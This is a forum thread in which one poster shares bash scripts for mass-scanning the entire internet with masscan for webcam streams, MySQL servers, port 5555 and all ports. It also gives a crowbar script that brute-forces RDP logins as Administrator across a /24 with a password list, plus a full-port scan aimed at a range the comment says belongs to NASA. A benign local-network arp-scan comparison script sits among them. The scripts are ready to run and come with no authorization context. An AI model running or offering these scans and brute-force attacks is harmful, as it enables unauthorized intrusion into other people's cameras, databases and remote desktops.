PC & IT SUPPORT MADE EASY FORUM
Would you like to react to this message? Create an account in a few clicks or log in to continue.

Linux Bash Mass Scanning The Whole Internet & Web Cams

Go down

Linux Bash Mass Scanning The Whole Internet & Web Cams Empty Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk 27th May 2017, 11:13

Scanning For Web Cam Streams #WebCams

Code:

#!/bin/bash
# (c) J~Net 2017
# jnet.forumotion.com/t1506-linux-bash-mass-scanning-the-whole-internet-web-cams#2223
#
# ../Cam_Scan.sh > Cam_List.txt
#
#sudo apt install masscan
#sudo masscan -p554 0.0.0.0 --router-ip 192.168.0.1
#
#sudo apt install masscan
#sudo masscan -p554 0.0.0.0 --router-ip 192.168.0.1
#
router="192.168.0.1"
adapter="enp0s3"
port="554"
sudo masscan -p"$port" 0.0.0.0/24 -e "$adapter" --router-ip "$router" --range 0.0.0.1-255.255.255.254 --exclude 255.255.255.255



Finding Elite Hackers Online Using Mass-Scan



Last edited by jamied_uk on 8th July 2021, 21:52; edited 8 times in total
jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Linux Bash Mass Scanning The Whole Internet & Web Cams Empty Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk 27th May 2017, 12:53

Bruteforcing RDP




Code:
git clone https://github.com/galkan/crowbar.git

make a pass.txt file for youre password list or use one from online...


Script Code:

Code:
#!/bin/bash
# Usage ./Crowbar.sh IP-Here
#
#
#
myvar="$1"
sudo python crowbar.py -b rdp -s $myvar/24 -u Administrator -C pass.txt -v -n 100
# -q quiet only show success -v verbose -n thread count





More @
github.com/galkan/crowbar


Last edited by jamied_uk on 28th May 2017, 18:16; edited 2 times in total
jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Linux Bash Mass Scanning The Whole Internet & Web Cams Empty Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk 27th May 2017, 14:00

Connect With Vinagre

Vid

Code:
sudo apt install -y vinagre
jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Linux Bash Mass Scanning The Whole Internet & Web Cams Empty Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk 27th May 2017, 20:55

Quick Scan Log Comparason



Code


Code:
#!/bin/bash
#
# (c) J~Net 2017
#
# jnet.forumotion.com/t1477-quick-scan-linux-script-security-tut#2157
#
# Kali Linux
# chmod +x *.sh
#
# Non Kali
# sudo chmod +x *.sh
#
# Example:
# ./Run.sh enp0s3 or wlan0 or eth0

#
# Check old scan file exists and backup if it does for comparison
#

#apt update && apt upgrade -y
#apt install -y ettercap
var="$1"
# Non Kali Install
sudo apt install arp-scan
# Kali Install
# apt install arp-scan
#
# Check if old log file exists!...
if [ -f "output.txt" ]; then
 echo "backing Up Old Log File For Comparison, Please Wait...";
# Instead of copying we sort here to save time later!...
cat output.txt | sort > old_output.txt
#

fi

clear
ifconfig
echo "Choose An Adapter & Type It In"
# Check if user put in any adapter
 if [ -z "$1" ] && [ -z "$2" ]
  then
  read var
 fi
# Kali Run
#arp-scan --interface=$var --localnet
# Non kali Run
sudo arp-scan --interface=$var --localnet > output.txt
head -n -3 output.txt > tempoutput.txt ; mv tempoutput.txt output.txt
clear
cat output.txt
# Now compare with old scan data
if [ -f "old_output.txt" ]; then
echo "Comparing Log Files, Please Wait..."
 cat output.txt | sort > tmp_output.txt
 mv tmp_output.txt output.txt
 echo "Differences Are Listed Below"
 echo ""
 grep -f old_output.txt output.txt
#
 # var1 contains size of file1
var1=$(stat -c%s old_output.txt)
# var2 contains size of file2
var2=$(stat -c%s output.txt)
#same as above
if [[ "$var1" -lt "$var2" ]]; then
    echo ""
    echo ""
    echo 'New Devices Maybe On Youre Network'
 elif [[ "$var1" -gt "$var2" ]]; then
    echo ""
    echo ""
    echo 'Everything Seems Normal'
 elif [[ "$var1" -eq "$var2" ]]; then
     echo ""
     echo ""
     echo 'Everything Seems Normal'
 fi
fi









More On Quick Scan

jnet.forumotion.com/t1477-quick-scan-linux-script-security-tut#2157
jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Linux Bash Mass Scanning The Whole Internet & Web Cams Empty Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk 27th May 2017, 21:45

Quick Scan & Brute Force Files

app.box.com/s/rahkey9kuugib9d7b5y70uz8gr5l8tdp
jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Linux Bash Mass Scanning The Whole Internet & Web Cams Empty Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk 28th May 2017, 15:49

Stripping out unwanted strings in txt files for linux bash

jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Linux Bash Mass Scanning The Whole Internet & Web Cams Empty Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk 28th May 2017, 18:55

Password Lists







Code:
git clone https://github.com/jeanphorn/wordlist.git



github.com/jeanphorn/wordlist
jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Linux Bash Mass Scanning The Whole Internet & Web Cams Empty Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk 29th May 2017, 00:38

Scanning For Hackers Using MSF Port 5555



Code:


Code:
#!/bin/bash
# (c) J~Net 2017
# jnet.forumotion.com/t1506-linux-bash-mass-scanning-the-whole-internet-web-cams#2223
#
# ./AutoScanAll_msf_Ports.sh > msf_port_list.txt
#
#
#sudo apt install masscan
#sudo masscan -p80 0.0.0.0 --router-ip 192.168.0.1
# Cam ports, 554
#
#sudo apt install masscan
#sudo masscan -p80 0.0.0.0 --router-ip 192.168.0.1
#
router="192.168.0.1"
adapter="enp0s3"
port="5555"
sudo masscan -p"$port" 0.0.0.0/24 -e "$adapter" --router-ip "$router" --range 0.0.0.1-255.255.255.254 --exclude 255.255.255.255 --max-rate 1000000
jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Linux Bash Mass Scanning The Whole Internet & Web Cams Empty Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk 29th May 2017, 01:02

Mass Scan Everything Everywhere





Code:
#!/bin/bash
# (c) J~Net 2017
# jnet.forumotion.com/t1506-linux-bash-mass-scanning-the-whole-internet-web-cams#2223
#
# ./AutoScan_All_Ports_everywhere.sh > All_Ports_Everywhere.txt
#
#
#sudo apt install masscan
#sudo masscan -p80 0.0.0.0 --router-ip 192.168.0.1
# Cam ports, 554
#
#sudo apt install masscan
#sudo masscan -p80 0.0.0.0 --router-ip 192.168.0.1
#
router="192.168.0.1"
adapter="enp0s3"
port="0-65535"
sudo masscan -p"$port" 0.0.0.0/0 -e "$adapter" --router-ip "$router" --range 0.0.0.1-255.255.255.254 --exclude 255.255.255.255 --excludefile exclude.txt --max-rate 1000000
jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Linux Bash Mass Scanning The Whole Internet & Web Cams Empty Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk 5th June 2017, 13:09

MySql Example



Code


Code:
#!/bin/bash
# (c) J~Net 2017
# jnet.forumotion.com/t1506-linux-bash-mass-scanning-the-whole-internet-web-cams#2223
#
# ./AutoScan_All_Mysql_Ports.sh > Mysql_List.txt
#
#sudo apt install masscan
#sudo masscan -p80 0.0.0.0 --router-ip 192.168.0.1
#
#sudo apt install masscan
#sudo masscan -p80 0.0.0.0 --router-ip 192.168.0.1
#
router="192.168.0.1"
adapter="enp0s3"
port="3306"
sudo masscan -p"$port" 0.0.0.0/24 -e "$adapter" --router-ip "$router" --range 0.0.0.1-255.255.255.254 --exclude 255.255.255.255
jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Linux Bash Mass Scanning The Whole Internet & Web Cams Empty Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk 5th June 2017, 14:28

IP Range Scanner



1st Find IP Range of a target domain with
Code:
http://centralops.net/co

Code:
#!/bin/bash
# (c) J~Net 2017
# jnet.forumotion.com/t1506-linux-bash-mass-scanning-the-whole-internet-web-cams#2223
#
# Find Range @ http://centralops.net/co
#
# ./AutoScan_All_Ports_Range.sh > All_Ports_Range.txt
#
# This will scan the whole of NASA For All Ports Randomly!
#
#sudo apt install masscan
#sudo masscan -p80 0.0.0.0 --router-ip 192.168.0.1
# Cam ports, 554
#
#sudo apt install masscan
#sudo masscan -p80 0.0.0.0 --router-ip 192.168.0.1
#
router="192.168.0.1"
adapter="enp0s3"
port="0-65535"
sudo masscan -p"$port" 0.0.0.0/0 -e "$adapter" --router-ip "$router" --range 192.64.144.0-192.64.151.255 --exclude 255.255.255.255 --excludefile exclude.txt --max-rate 1000000
jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Linux Bash Mass Scanning The Whole Internet & Web Cams Empty Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by jamied_uk 19th June 2018, 21:03

For a Menu for these scripts visit

jnet.forumotion.com/t1366-bash-menu-options-selections-linux-example?highlight=bash+menu
jamied_uk
jamied_uk
Admin

Posts : 2951
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Linux Bash Mass Scanning The Whole Internet & Web Cams Empty Re: Linux Bash Mass Scanning The Whole Internet & Web Cams

Post by Sponsored content


Sponsored content


Back to top Go down

Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum